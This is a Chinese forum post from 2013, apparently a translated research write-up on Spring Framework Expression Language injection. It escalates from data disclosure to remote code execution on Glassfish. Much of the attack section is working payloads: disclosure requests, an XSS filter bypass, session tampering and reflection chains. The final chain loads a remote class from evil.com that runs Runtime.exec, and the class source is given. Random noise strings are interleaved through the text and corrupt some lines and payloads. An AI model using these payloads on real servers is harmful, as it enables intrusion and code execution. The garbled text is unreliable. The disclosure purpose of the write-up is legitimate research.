找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2098|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
/ Y* M" H, L3 r, n( @Expression Language Injection
$ P. p- U2 `, kSpring Framework脆弱性—DanAmodio$ m3 I2 _3 R4 h, r+ _5 h  e- d8 S
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
/ p" J6 M. Q- Z1 V& W$ v可能会存在风险。
4 G3 H) {, v2 ?4 p8 G在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
5 V8 c: \- o$ wArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
9 ^- ]  Q& q, V6 @; J% B以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,. v! ]0 r1 G* J
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
7 o3 B4 w& r9 h版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
, V; N- E& U8 o4 y3 _! x由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
% R- F/ T. u1 N' ?7 r. E我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版; G4 P; X2 q' q# q* Z' C/ [
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
1 [( m$ B' T/ P0 q$ H- H2 e8 @+ [这些版本不支持禁用double EL resolution.
7 U7 B# M. t# ]4 f! ?这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含4 K# }3 B, d- S0 e  f4 ]/ B6 R; `
EL2.2容器上可能进行远程代码执行。
1 e, g2 J: t1 g) H这是一个原始信息泄露的攻击例子:
$ V3 f8 A% D0 h  ^! H4 z请求:+ P8 W. _1 p7 P) e9 j
ttp://vulnerable.com/foo?message=${applicationScope}+ K; e2 w: x% ]6 P
到达以下内容页面:
- B0 ^* v% J8 A/ G8 c2 m结果将输出一些包含内部服务器信息calsspath 和本地工作目录, X" M$ T& t, W& S: x
你也可以做一些其他事情,如这样:( P' J2 F6 B" X- @4 @0 `$ f
${9999+1}5 p) q4 s4 [3 {# T6 O5 o6 q" Q
还可以访问session 对象和beans
; t0 r5 h+ t6 ^( a5 N/ q  m${employee.lastName}! N4 O/ k/ J- _. ^
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
7 j# V( @6 ?- W0 }/ t  IEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东' ^. L  G2 ]8 _* A9 R
西,比如XSS.
( A0 A+ F+ @+ ]% O/ I' u* g哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
- B2 M! c( S' @( {* h! \突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤' O- {  V* A5 g1 g* O
呢?”
7 N$ P3 ?: e9 |& p因此,我尝试巳缦拢�
! _( u- o3 |- Q& Z! `& ohttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
1 P, G/ s$ @1 M; D' r4 l1 YP+ y9 o. A' F2 g
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返* E/ d0 l0 [9 I
回的文本被插入进了spring:message 标签。+ V$ j( L- z6 }( G1 z
这里是一个最终绕过过滤的实例:* s5 u4 R) X/ Q8 W
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
# N0 B/ Y4 Y2 l; ^  H. p& D它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
6 j# w% E: Q% Q# A. ]什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?3 h6 R' i+ I( B) o1 U* M) h
经过一番研究,我学习到EL2.2 增加了方法调用。
/ k) K' u- l& y. K: X9 S我写了一个快速测试应用程序代码并且检测一些功能4 F; x$ {  \. V! F% V) p: i1 r
${pageContext.request.getSession().setAttribute(“account”,”123456″)}2 i, R, M3 ]$ \" k8 p" _" M
${pageContext.request.getSession().setAttribute(“admin”,true)}
: W( i; |7 t1 F, y9 ^( i好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的. U, W1 r# J3 Y, U1 H
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
) [% e- o. H. d$ }8 M${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
' Y! n  g& i: D“, 1234)}/ V8 i/ F9 w3 I+ ^
${“”.getClass().forName(“java.lang.Runtime”)}
8 }9 h" Z3 r3 H  R哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不8 M9 B- f2 o9 V+ ^# p, a3 r
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函9 k6 Z6 Z9 p( `% w4 Y- t* k
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
& W: |- I( o! H* H一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
1 i, e1 j" u& ?3 s& r, S方法签名invoke(Object obj, Object„ args)
2 {/ B( F5 B/ \' `% U4 ~Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
' |& R  @7 }& O题,以让它可以工作起来。: {2 W  ]' O' x: U; M2 A! B
漏洞利用:. @' Y# ^) Z, B  C4 A" V+ k+ x
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我5 c6 i- d$ U) j5 S) R/ Z1 M
希望你们中的一些JAVA奇才告诉我我是如此的可笑。9 q% R) D. D" h" ?/ J
这里有一些我试过的失败的用例,为了试图让它工作的用例:
1 W1 [* G" g+ R' ? 写文件到文件系统" f0 y3 _: k4 B6 P- O% F% ]
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
7 J3 o1 Y9 s2 a, o1 |* J我认为这些可以很好的工作,但是我不能找到合适的类来载入。7 [$ h* f9 M  s' Y
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}$ Y7 }5 }/ U1 \; ~3 w
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:; U0 l" F. M! f* ^7 C6 o
org.springframework.expression.spel.standard.SpelExpressionParser not found/ o- H$ M" L# G7 m
by9 H3 G! V* A5 \4 c
org.glassfish.web.javax.servlet.jsp [194].
6 g$ ^% J  h$ A 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
3 ~: j& V' {; a# [, v) Z7 D 利用反射来创建一个新的Runtime(and watch the world burn)5 ?- N6 Q$ [  O; K& u
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName; J+ }) y$ @; n- }- W& a4 u  B8 a4 [" F
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
( ~$ f6 R5 \7 J! ^" R${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
1 j2 ~5 \' K2 w8 Z6 H# g! U+ J 使用java.lang.ProcessBuilder3 e6 o' t& U# Y& r8 R
 用表达式语言来评估表达式语言: H( E% y* U0 J, e  P4 Y" `# [
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.2 B' T9 w0 ~3 Z
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request/ D+ Y8 F: F7 P9 p* U& F0 n, [
“,”".getClass(),null)}% X2 m. H( a& ?: F' H7 R- L
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
' s; g! k# }" {& V, P& ^我在使用一个空数组通过Method.invoke()时失败了很多次
5 f- n9 r4 T; p4 ?4 \“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo3 V; G* i( i0 J% e6 Z9 @3 i
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
; }5 m1 I. ?; u* qrrayList”).newInstance().toArray())
7 G& K5 o, j9 m7 Fjava.lang.IllegalArgumentException: wrong number of arguments
# m' Z# ^+ n0 @最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
& s* T* b; j( {8 X$ |以创建一个恶意class文件并且指向类装载器.7 F5 H( S" ~: L) j; h
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:$ s: H" \' m6 p% h1 j9 F
public class Malicious {
0 m2 Z7 L; H# \, i; {* Xpublic Malicious() {
' i# |0 W7 u8 d/ Ctry {3 B- l; U; |# p
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
: ^) ?( P& S% ^; |java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win; u1 S' g' t% q* j! a
} catch (Exception e) {+ t3 I2 ?) X' r0 a: H2 H& ^
}7 l  L5 _8 x. S9 `2 o( ?6 Y
}: g4 D6 N1 I+ O3 x7 B# e
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
( k, j8 [0 }  L* }6 r% z* e" h1 ~话中,因此它可以被使用.
0 s* }0 |+ V5 O$ Z6 Z- P${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName4 {) d3 V# W- _9 ]! q* b
(“java.util.ArrayList”).newInstance())}  {2 k: v9 ]  h, w& Q& s9 k; F
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建' `' Z8 y9 U* b$ M& B# D5 j
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和5 U3 K  d1 A: i
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
' ^4 J. a( v6 A1 y2 C1 _我们可以调用的create(string)方法,然后转换对一个URL对象。5 Q( P, ]- s1 W) K; |
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
( J- n9 U- F3 g' c( }ere/malicious/classfile/is/located/”).toURL())}) ?6 t0 Y/ a4 j$ t' e. u
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
( g# S3 N1 O2 I恶意类文件被装载并创建,触发远程代码.2 A0 K+ M' @, B
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
$ h5 N: U9 b: I7 h" X1 Nxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
) G. o* a/ ?2 NgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance) C" V( ~' N; Z9 z
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表